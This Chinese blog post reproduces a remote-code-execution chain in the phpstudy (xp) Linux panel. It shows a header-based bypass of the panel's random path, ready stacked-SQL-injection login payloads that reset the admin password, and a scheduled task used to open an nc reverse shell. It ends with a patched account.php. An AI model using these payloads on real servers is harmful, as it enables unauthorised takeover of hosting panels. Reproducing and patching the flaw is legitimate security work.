phpstudy小皮面板2023版RCE

发布时间 2023-06-05 18:52:22作者: dustfree

复现过程:

绕过随机码-->堆叠注入-->计划任务-->命令执行

环境版本:

Linux版phpstudy=x.1.29

1-随机码绕过

已知某站点使用phpstudy服务器搭建,使用默认端口访问phpstudy后台运维系统页面,返回404 Not Found:

加上user/login也依然如故:

192.168.8.135:9080/user/login

抓包添加一行:

X-Requested-With: XMLHttpRequest

 出现了phpstudy的title:

 等待一会儿,放行全部数据包后,出现了登录页面,成功绕过了随机码:

Tips:还有一种奇怪的方法绕过随机码:抓包后,在第一行GET/user/login中间插入两个空格,也可绕过:

2-堆叠注入更改密码

 在登录页面,直接构造payload,修改密码为123456或dustfree:

修改密码为123456:

admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--

修改密码为dustfree:

admin';UPDATE ADMINS set PASSWORD = 'b43f5ef5f8175aca716d711c8ac8bdd2' where username = 'admin';--

忽略报错,使用dustfree密码登录,用户admin,登录成功:

如果继续返回404 Not Found页面,需要在http头中继续加入 X-Requested-With: XMLHttpRequest才能正常访问。

3-计划任务写入反弹shell

点击左侧的计划任务-->添加任务

新建nc反弹shell:

执行任务-->确定。执行之前服务端开启监听:

4-命令执行

附上account.php修复代码:

<?php

require_once __DIR__.'/../app/lib/common.php';
require_once __DIR__.'/../app/model/Account.php';

$type = post('type');
if(!$type){
	$type = get('type');
}
// 登录
if($type=='login'){
	$username = post('username');
	$pwd = post('password');
	$verifycode = post('verifycode');

	if (strlen($username) > 16) {
		xpexit(json_encode(array('code'=>1,'msg'=>'登录失败,用户名或密码不正确')));
	}

	$username = htmlspecialchars($username);

	$res = Account::login($username,$pwd,$verifycode);
	xpexit(json_encode($res));
}